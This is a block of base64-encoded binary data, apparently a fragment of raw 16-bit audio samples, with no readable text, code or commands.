/AgD7//7/AAD3/wAAGAAAAPr/AwAKAAIAAAABACEABQDs////DwD7/+r//f8MAPb/5f/6//7/6v/l//b//f/u//X/+P/4//3/+//5//j/9P/7/wIA6//z/wEA5//e//f/4f/n/+//7//r//f/8P/9//n//f////f//v8EAAIA/f/9//v/7f/v//v/CgAJAOz/AAARAPz/+P8EABYADAD8/wsAFgAPAAsAAAAPABQA+//w/xMAEAD4//b/CAAGAPP/8f8GAAAA+P/6/wMA+v/1/wkAEQAIAAAADwAQAAUABQAEAAkACgABAAMACgAMAAYAAAAJABIAEAD//wUAIwAOAPr/EQAaAAYA7f8CABoA///y/wAA+P8AAAQA/f/7/xUABgAAAAIACgAEAAcABgACAAwACwAFAAIABwASABoAAQAAABUAEgD9//r/CQAbAAYABAAbABQA/v8SABgADQAhABUADwAWABEAGgAKAAMAIAAUAP//DwApAAwA//8TABoADAADABEALAAUAP3/HAAlAAoAAgATAA0A8v/1/wYABAD4//n/AgACAO///v/9//z/CwABAP//BgD8//f/AwD+/w0ABwDo//H/+f/x/+7/+f/2/+//5P/0/wIA3v/f//7//f/u/+P/+P8FAOn/6P8DAAEA9P/q////BgD1//b/AgAEAPz///8AAAMAAAD5/wsABwD//wIABwABAAAA/P8AAAgA+//+/wEAAgDy//P///////T/7v8QAAMA4P/m/wUADQDy//D/DwAOAPT/9/8MAA4ABQD9//7/CgAHAP////8RAAYAAAAFABcAEAAGAA8AEwAAAPn/BQATAAMA+P8EAA4A/P/z//z/DAD6/+z/BQAHAOz/9f8PAAgAAAADAAwAGwAGAAEAEQALAAQADAAIAAgADAAIAAYAAgAPABAA+v8FABAAAgAKAA0AAAALAA0AAAACAAkACwAJAAQADAAXAAAAAAAJAAgACgAAAPb/DwALAPP/BQAGAAAABwD8//7/CgACAPz//v8AAAQA9////wUA9//s//z/9v/s//n/BQD1//L/9v8AAP3/9v/4/wAA+//p//v/CgDv//D/AQD8/+//3v/r/wAA4P/a//v/8f/a/+P/9P////b/7//4/wwA///y/wAACgAIAPL/9f8ZAAgA6//1/wcAAADw/+L/CQAVAOr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/EQADAPz///8IAAEA/P8NAA4A9v/+/wwA+P/s/wkAEwD3//f/BAD4/+z/AAASAAAA8P8FAAcA6f/w/x0AHgDo/+3/GgAAANv/AwArAPr/2v8JAAwA4P/z/xkACADy////BQD5////BQD7//X/BgAIAPP/+f8JAAQA+P/o/wAADgDp//H/JwAIANz//v8WAPf/4/8BABEA6v/k/w0AAgDr/wEAAQD0//b//v8FAPb/5v8EAAMA5P/3/xUA8v/a/wUADwDm/+z/CQD//+b/9P8KAP7/8//6/wUAAADl/+3/DwDu/9b/BAARAOj/5v8NAAkA3v/1/yoAAwDh/wkAGAD8//L/CQAIAOv/8P8SAA4A7v/x/wgABgDq//D/FQAOAOn///8UAP//8/8HAAQA/v8AAAMABQD6//f/BwAAAPD/DQAVAPT/9f8TAAMA5P///ywACADd/woAJwDw/+b/DgAVAPf/6v8IABIA+f/4/xYAEAD0//v/EAACAPT//P8KAAYA9//5//z//P8AAP3///////f/AgACAPv/BwAHAPz/AAAEAAgAAAAAAAcA/v/7/xAAAwD4/wsACQD5//n/CAAIAPr/+P8NAAsA+v8AABUACgD1//7/EgABAPb/BQAIAAUA///9/wMAAAD//wAA//8AAAUAAAD6//H/AQD5/+b//v8KAOn/6v8KAAYA6P/6/wwA9//u//3/AAD6//H/+v/r/+z/+P/1//X////8//j/BQAEAPz/AwADAPX/+v/7//b/9//8//n/7//y//r/8P/v//3//f/5//7/+//5/wAAAQD6//T/+v8CAPj/9/8DAP7/+v8CAAQA///4//z/BQABAPf/AQAQAPv/9P8GABAABAD7/wMADQD+//7/CgACAAIAAQD2//7/AADv//3/DwAAAPT///8FAP3/BAAFAP7//P/8////AwAAAAEA+//+//z/9P/y//r/+P/9/w8AAwD0/wYABwD1/wIAEAD4//j/BgAGAPv//P8SAAQA5//+/xgA+//y/w8AFQAEAPf/+/8KAPj/9P8MAAoA/f8AAAEA/f8EAAcABAAFAP7//f8EAAUAAAAEAAcA+P/9/w0A/f/1/wgABQD4/wIABgAAAP7/BgAIAPr/+v8JAAUA+f/8/wQACAD/////BwALAP///v8DAAYA9f/p/wAACQDz//D/AgABAO7/+P8JAPv/7f/4/wUA/v/0//P/+v/5/+n/7P/+/wQA9P/o//7//P/q//H//P/8//7/+f/9//b/9//4//v/AQD///r/8/8AAAIA7//x/wAA9f/0//z/AgD7//z/AAAAAP3/8//1//b/AgABAPb//P8IAP//9v8BAAMAAAD7//3/BgD///n//v8FAAEA9P/3/wEADQD8//3/CgD///D/+P8FAP//AAAAAPr//P/9/+3/7v8AAPj/8//6/wIA+//p//f/BQD6//D/+v/+//f/9f/8/woA/f/w/wMACwD6//3/BAAGAPr/+f8FAAgA/f8AAAQAAADz//b/AAD+//H/+f////b/9v/9/wQAAwD9//z/AwADAAMAAQABAAUAAQAEAA4ADQACAP//BQAHAPH/+P8QAAsABAADAAcACQACAAEACgACAAIABgAHAAgABQACAAMABgAEAAUAAgD+////AgAFAAAAAgAAAPj/AAANAAAA9f/6/wIA/f/5////AAD+//3///8BAAAA///+/wAA/P/7/////P/6/wAA///4//r/AgD+//3/AAD///3/AAAHAP//9f8AAAAA/v8BAP7/+P/+/wAA+//5/wAAAAD8///////9//v/+/8BAPz/+f/9//n/9v/8/////v/7//H/9f/9//3////7//j/+f/7//z///8AAAAA9v/3/wQADAAAAPj/AAAAAP3//f/7//r/+P8AAAQA/v/y//j//f/4//n//P/+/wEAAAD+/wAAAAABAAAA///8/wEAAQD9/wAAAwD9//3/BAACAP//AAAGAAIAAAAAAP7/AAAAAPP//P8HAPn/9P/8//j/+P8BAAsAAQD8/////f/+/wAABAABAPz//v8EAAAAAAACAAMAAAAAAP7/AQADAA4AFgAJAPz/AwAHAAQAAgAEAAcAAQD+/wYADAADAP3/AwADAAUAEAALAAMACQALAP7/+f8EAAAA+v8DAAQA/f/2////BwAAAPv/9//6/wAA+P/7/wUAAgD6/wAAAgAAAAEABQD4//f//v/9/wAAAgD+//X/9v///wAA/f/4/wAA+//6//v/AAADAP7/+/8BAAEA+P/5/wEAAAD8//v//f/5/wAACwAHAP3//P8GAAwAAgABAAIAAgAAAP3//v/6//b/AAACAPT//P8SAAgA9//+/wcAAwDz//j/BAD9//n/AAACAAAAAAAAAAAA/P/9/wMABwAAAP3/AQABAAAAAAD///3//P/6//z//f8BAAEA+P/+/wEA///+/wAAAgD7//j/+f/9/wAA//8AAAEA///8/wAAAgAAAAIABAD///b/+v8CAAEA/f8AAAAA/f/6/wEAAwACAAAA//////n/+v/+/wkABgD9//3//P/4//j/CAANAAAA+f/7/wAAAgAAAAUACwADAPr//v8EAAMAAAAAAAAA/v/4//r/AAABAAAAAAAEAAQAAAAAAAQADwAIAP//BgAHAAYA/////wEA///8//3/AwADAP7/BgALAAUA/P/+/wgABQAAAAIAAwD7//T/+v8FAAgA+//1/wAA///6//z/AAADAAQAAgAAAAMA///8//z///8CAP//8//7/wAA/P///wAAAAD8/wAAAgABAP7/+P/7/wAA///5//z/AAD6//L//P8HAAAA/v///wAAAAD//wEAAwD///3/AAADAAMA/v/9/wUABQD7//b/AAAAAP3//P8CAAQA+f/2//r////5//f////8//j/8v/5/wAA/f//////AgAAAPP/8v/6/wMABwAAAP3/AAD8//n///8HAAAA8f/t//P/9//5//r/AQD+/+7/7//8/wAA/f/6/wAAAQD7//f/AAAIAAAA+v/+/wAA/v/+/wQACwAGAP///v8BAAMAAQADAAMABQD+//X///8LAAkAAAD6/wAAAAD3//7/CwAIAAIAAAD8/wAAAQABAAgADAD+//r/BgAMAAQA+/8CAAgAAAD5/wAABwAGAAAAAQAJAAMA/v8CAAsACwAHAAgABwAAAAAABQAMAAUA+//7/wAA///8/wAABgAFAPz/+v8AAAEABwAGAP/////8//T/+/8KAA4ABgD8//n///8AAAIADAANAAUA+//2//b//P8AAP//+//6//j/9P/1//z////7//z/+v/5//r/AAAEAAkAAgD+////AwABAAAAAAD+//n/9v///wQABgALAAgAAAD5//T/+/8DAAcAAAD2//r/9P/w//v/AgAEAP3/8v/y//3/AAABAAcA///z//P/+v/5//v/+f/9//r/8v/w//r///////v/+P/4//n/+f/6/wEAAQD///f/8f/y//f/+//8//7/AAD+//3//P/6//z//v8AAPz/7v/y//z/AAAAAP3/+v/4//P/+P/9//j/9v/y//X/AAADAAAABgAEAPr/8//4/wkADAAHAAEA/f/7//3/AQAKAA0ACgADAPz/+//9/wIABAADAAIA///+//n//P8GAAoACgAFAAAA+//6/wEACQAIAP///v/6//v///8BAAQABwADAPj/9//+/wQAAQAAAP7//f///wQABwAQAAwA///7/wAAAAAFAA8ADQADAP7/AAAEAAUACQAIAAUAAgAAAAAAAwAFAAIAAQACAAMAAAD//wIABQACAAEA/v/7////AgAGAAcABAD9//v//f////j//P8CAAAA/v///wAAAQD//wAAAAABAAAAAAAHAAoABgD9//b/+v/5/wAACAAFAAAA9v/3//z//v8EAAkABgABAP7/+//+/wQABgAGAAEA/v/5//f///8JAAsABAD///7/BQADAAQABAAHAAQA/v8DAAkACgALAA8ACwAEAAIABAAEAAMABAACAAAAAgADAAgACwAGAP///v8AAP//AQAGAAkABgAFAAMAAgACAAMABwAKAAQAAwAGAAgABgABAAUABgACAAEAAAAAAAAA9f/2//3/AwADAAAA/P//////AgABAPv/+v/4//j/+f/8//v//v/8//z//f8AAAIAAQAAAP7/9f/z//n/+//9//3/+//7//f/9P/5//b/8//1//b/9f/8//v/9f/x//H/8//t/+7/8P/w//H/8//0//P/9v/2//b/+f/4//f/+f/2//X/9v/4//f/9v/4//n/+f/2//T/9//8//r/+f/1//T/9v/5////AgAAAP7/+//5//r//f/+//3////6//3//f/8/wAAAgACAPv/9//7/wYACAACAAAAAAADAAEA+v/7/wAA///8//n/9//6/wEAAgAAAPr/+/8AAAAABAACAAAAAQAAAP//AAD//////v/7//3/AAABAP7//f/+//z/+v/7//3//f8AAAIAAAAAAAEAAwABAPz/+v/6//7//f/8/////P/6//3/AAABAAcACQAAAP3/AAALAAoABQAFAP//AAAAAAAAAgABAAQABwAJAAsACwAKAAgAAwADAAUABwAFAAQACQAHAAYABQABAAIABQAEAAQABQAEAAUABQAEAAcAAwACAAAAAAADAAQAAgAAAAAA///+/wAABgADAAYABAAEAAIA/v8BAAIAAwABAAAAAgAEAAM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AJAAaABgAHAAaACAAIQAgAB0AGQAWABUAFQAUABMAFQAWABMAFAATAAsABQAHAAcABgABAAAAAgAEAAIABgAEAAAA/P/6//r/+v8AAAEA+//6//b/+//+//z/+v/5//X/+f/9//n//f/6//j/9//6//j/9P/8//z/+//4//T/7//z//v//P/7//X/9f/3//X/8v/1//P/8//y//H/8P/v/+//7v/r/+z/6f/k/+b/5v/l/+f/4//c/9z/3//h/+T/4f/i/+H/3//d/9v/3P/W/9r/2f/P/9T/2P/Z/9X/1f/Q/9L/0//T/9T/0v/W/9b/0P/R/83/0f/P/9H/1//W/9X/1//U/9P/0//V/93/3//d/9z/2v/d/+L/5//p/+j/5f/j/+P/5//o/+3/7//t/+b/4//l/+r/7//t/+7/7v/t//H/8f/w/+7/7P/s//D/+/8AAP//AAAKAAoACAAQABAAEgARABUAGwAaABsAGwAdAB0AHgAjACMAIwAeACEAIgAjACkAJgAjACIAIgAmACYAJgAiACQAIAAiACEAJAAnACMAIwAaABkAEwAZABkAFAAQAAsAEAAPAAwADAAQAAoABgACAAEABgAEAAYABwAGAAQAAAD7/wAAAAD8//r/+f/2//X/8//x//H/8P/x//T/8v/u/+7/7v/t/+z/6//i/+X/7P/t/+7/6v/q/+r/5P/o/+3/6P/p/+f/5f/n/+T/4v/i/+P/4//i/+P/4v/i/+D/4v/h/+L/5P/l/+T/4v/i/+T/5//m/+b/4v/g/+P/5P/k/+T/4//f/9v/2v/d/+f/5P/j/+H/4P/j/+b/6v/s/+v/4v/h/+H/5f/p/+j/5f/h/+P/5P/n/+f/6P/m/+b/6P/n/+r/6v/u/+//7//u/+7/7v/x//H/8P/v/+7/7//0//f/9f/y//T/9P/z//f/+P/z//D/7v/w//P/9P/0//T/7//n/+f/5//q/+7/7//x/+//8P/x/+//7//z//D/8v/y/+//7//t//D/8//y/+//8v/v//L/9v/2//b/8//y//L/8f/z//X/9//3//7//P/5//v///8CAAQA/f/+//v/+v///wAAAAD//wAA///8/wQABgAKAA0ABwAGAAUABQAKAAoABQAHAA0AEgASAAwADQASABMAFQAUAA0AEAAQABIAEwARABkAGgAXABYAFQAVABUAFwAaABYAFgAXABYAGgAYABcAFQATABEAFgAYABkAGAAUABMAEgALAA8ADgAPAA4ACAAFAAYABQAEAAMAAwADAAAA///+//z//f/9//r/+v/8//n/9v/0/+//7f/s/+z/6//s/+b/5f/i/+H/4//g/+L/4f/a/9z/2//S/9P/2f/Z/9f/0//S/9L/0P/U/9X/1v/W/9D/y//L/87/zP/L/8//zv/P/9X/1f/V/9j/2P/X/9n/2f/Z/9z/2//c/9z/2P/Y/9r/4P/j/+L/4f/i/+L/4v/m/+j/5//k/+T/6v/w/+3/7f/u/+3/7//w//L/9P/y//L/9P/0//f/9//1//X/9f/1//P/8f/2//n/+f/4//v//v/+/wIA///9/wAA/v/7//z/AAAAAAMAAAD7//7//P/9/////v/9//r/AAACAAAAAAD///7///8AAAIABAAAAAAA//8DAAQAAQAAAAEA/f/9//7/AAAFAAUAAgD///z//v8AAAMABQAHAAIAAgADAAEAAgABAAAAAQD+//7//////wcABwAGAAEA//8AAAEAAQD+/wAA///9/wAA/P/9/wAAAAAAAP3/+f/6//3///8AAAIA/f/y//b//P///wsADAAFAAIA+v/6/wAABAAGAAoABAAAAP////8FAAQABAAAAP7/AAD7/wEABAD8//r/+f/3//z/+/8AAP///f/3//L/9f/5//3///8AAPX/8v/1//3/AQAAAP3/+//6//X/9P/6//z//P/+//3//P/5//X/8//2//b/8//3//n/8//u//P/9v/6//3/+//1//j/+f/5//r/+v/7//X/8f/z//T/9//0//L/8v/0//r/+P/6//b/7//s/+//7P/v//H/8P/x/+7/8f/y/+7/7f/t/+7/6//q/+r/7v/u/+//7v/u/+//7v/v/+//8P/w/+//7v/s/+v/7P/t/+r/6v/s/+7/8//2//D/6v/s//L/9P/z//D/8v/2//H/8v/w/+//7//u/+3/6v/t//D/8f/y/+n/5//p/+n/7P/v/+3/7P/t/+7/8v/u/+3/7P/q/+n/6f/o/+7/8//x//D/8v/x//L/9P/2//7////7//7///8AAAEABQAEAAcACgAHAAQACAALAAoACQAHAAYADAAMAAoACgALAAgABwAIAAcACwAOAA0ACQAIAAcABgALAAkABwACAAEAAQABAAEAAQAEAAAAAAD+/wAAAAAHAAYAAQACAAMAAgACAAIA/v/+/wAAAQAEAAIA/v/9//z/9v/4//n/9v/2//f/9v/z//X/8v/y//b/9f/1//L/7//v//H/9P/0//X/8//w/+3/7v/t/+n/7P/q/+v/7f/n/+r/7f/x//P/7//s/+n/5//k/+f/6v/q/+v/6f/l/+L/4//m/+n/6v/r/+3/6P/p/+j/5//r/+v/6//s/+3/8f/x//D/7v/r/+v/7f/u//P/8P/1//v/+//9//3/+f///wEAAgAHAAcAAwACAAEAAgAEAAMAAAAAAAEAAQACAAcABgACAP///P8AAAQAAwABAAAA/v8AAAAAAQACAAQAAAAAAAUAAwADAAUACAADAPv//P8AAAEABAAAAAMABAABAAAA/v/8/////v/4//f/9P/4//j/8//z//T/9v/y//H/7//r/+7/8P/u/+//6P/m/+j/5f/l/+T/4f/g/+D/4v/k/+T/5f/k/+T/6P/o/+v/5f/l/+b/3f/h/+X/4v/j/+X/5P/k/+T/5f/l/+X/5v/m/+b/5f/m/+X/5//s/+z/6v/t/+3/5//o/+r/7P/s/+//8P/t/+j/6P/r/+z/8v/t/+z/7f/t/+n/7//w//D/7//t//P/8f/w//P/9P/x//L/8f/y//f/9v/5//z/+f/2//b/+P/4//j/+P/0//X/9v/3//f/9//4//f//P/6//r/+P/4//3//v/6//b/9//5//r/+v/6//v/AAD9//f/8//u//P/+P/4//T/9f/1//T/9P/1//v/+P/z//P/9v/2//f/9f/3//j/9//y//P/9//7//r/+f/5//n//P/7//b/+P/6//v/+//5//b/9v/0//7//v8AAP7/+//2/+//8v/z//b/9P/0//X/9f/4//b/9f/1//L/8//1//b/9f/1//X/9f/1//X/9f/1//b/9v/2//T/7P/w//f/+P/1//X/9f/0//P/9P/3//f/9P/0//r/+P/0//b/9P/v//L/9//u/+f/8//6//H/6f/x/wQA+//t//X/AAD4/+3/+f8CAPr/6//w//v/+P/y//j//v/3//H/9v/8//b/+P////7/+P/3//j/9///////+f/4//X/9////wEA/v/7//n/+f/+//3//P8AAPz/+f/x//b//P/5//r/AAD///j/9//7//3/+//8//7//v/4//j/+P/2//j//f/+//v//v/8//r/+v/2//v//P/9//v/+P/y//L/9P/5//v/+v/6//f/9//y//X/+f/2/+3/8v/5//j/9P/1//n/9//3//f/9//2//r/+v/3//X/8f/1//n/+f/3//j/9//1//T/9//1//D/9P/3//L/8f/1//T/8v/t//D/9v/x//L/8//x/+7/8v/y//L/8v/x//H/7v/w//H/8//0//P/9P/2//f/9f/1//P/8//3//b/8//z//X/8//s//D/9f/1//j/+P/0//H/7v/z//f/9//2//j/+f/3//f/+f/4//L/8v/4//r/+P/4//r/+v/2//f//P/9//f/+f/7//n/9f/3//n/+/////v/+P/3//n/+f/6//r/+P/7//b/9v/5//r/9//4//z/+v/1//L/9P/4//j/+P/7//j/8//y//b/+P/8////+//2/+//8//7//z/+v/+//r/8//w/+3/8f/6//n/9P/z//P/9//6//f/+P/5/+//7//2//7/+v/2//f/+P/1//f/+//2//r//P/7//n/9v/y//H/9P/1//X/+P/8//n/+f/4//b/+f/5//X/9//2//D/9f/4//n/9v/x//T/9f/1//X/+P/4//b/8//v//L/8v/v//D/8//0//f/+P/2//j/8v/2//j/8P/2//j/+P/4/+//7v/x/+7/7//0//T/8v/0//X/9f/z//L/9P/4//f/9f/z//P/9f/2//b/9P/x/+//8P/z//n/+v/7//j/9v/1//X/9P/0//X/9//3//b/9v/2//v/+//4//f/+P/6//f/9v/2//j/9//4//f/+P/6//n//f/8//X/+P/6//j/+v/6//v/9v/3/wEA/v/8//r/+//7//n/9v/6/wEA/v/7//T/9f/6//v/+//6//b/+P/4//f/+f/6//j/9f/z//f/+P/2//b/9//y//L/8f/w//L/8//1//r/+f/2//X/9P/3//X/9P/1//b/+P/5//f/9v/4//b/9f/3//v/+f/5//z/+//3//L/8v/4//r/9f/0//X/9v/0//P/+P/4//n/+v/4//D/7//u//L/9v/1//r/9//2//X/9v/3//n/+f/7//v/+P/3//b/9P/3//z/+//7//n/8//y//P/9//7//v//f/3//X//P/9//v/+f/0//j/+v/4//n/+v/5//r/9//2//f//P/8//j/+f/5//3//f/8//r/+//6//v/+f/1//n/+//1//T/9f/2//f/+v/9//3/+//6//v//v/4//X/9f/6//v/+v/8/wAAAgABAP//AAAAAAAA///8//v/9v/5//v/+//7//z/+f/9/wMAAgAAAPz/+v/6//T/9P/4//j/8//x//P/9P/y/+//8//0//D/8v/0//T/9f/5//f/9f/2//P/9f/3//f//P/9//n/8v/v//L/8v/1//j/+v/9//r/8//z//P/+v/6//n/+P/2//T/+P/9//7//v/7//v/9//4//r//v/9//3//P/3//f/+v/+//7////9//z//P///wIABAABAPr/9v/7//3////9//v/+v/2//b/+v/8/wAA///6//n/9//5////AAD+//v/+//6//n/+f/1//j//f/6//j/9f/2//n/9v/1//v///8AAAAA///8//v//f/9/////f/9//z/+v/5//j/9//5//7///8AAAAA+//1//b/+P/7//v/+v/6//j/9//2//r/+f/8/wAAAAD9//z///8AAP7/+v/6//v///8AAPz/+//9////AwAEAP7///////v/+//+/wAAAQADAAAA///+//z//v8AAAAAAAABAAAA/f/+////AAD9////AgAHAAMAAAAAAPr/9v/+/wAAAAD///3//v8BAAAAAAAAAAEAAAAAAPz//P/5//v//f/7//z//v/9/wAA/v/9/////v8BAAEAAAD//wAAAwD//wAAAwD//wAAAAD+//7///8AAAEABQADAAYAAQD8/wAA/v/+/wAAAgABAAAAAAD+/wAABQADAAAAAAAAAAAAAgACAAAAAQACAAAA/P/5//z//v//////AAAAAAEA/v/9//7/AgAEAAYAAAD+/wEAAAACAAIAAQAEAAEAAAAAAAEAAgABAAIAAwACAP//BAAHAAAAAAD8//z//f/6//3//v8DAAYAAgAAAAAA/////wAA/v8AAAAA+v/1//j//v8CAAAA//////3//v/+//z//v/8/////f/9/wIAAAD9/////f8AAAEAAgAEAP7//P/8//7/AAD9//7//v///wAA/v///wAAAgAAAAAAAAD9//v/+f8AAAAAAAABAAMABAACAAIAAAD//wEAAgADAAIAAgD+/wEABAAAAPz/AAAAAAEAAwAFAAIAAgAFAAcABAAHAAMA//8AAAIAAwADAAMABwAHAAAA//8CAAYABAAFAAIAAAAAAPj/+P///wEAAAAFAAAA/v8CAAIABgAG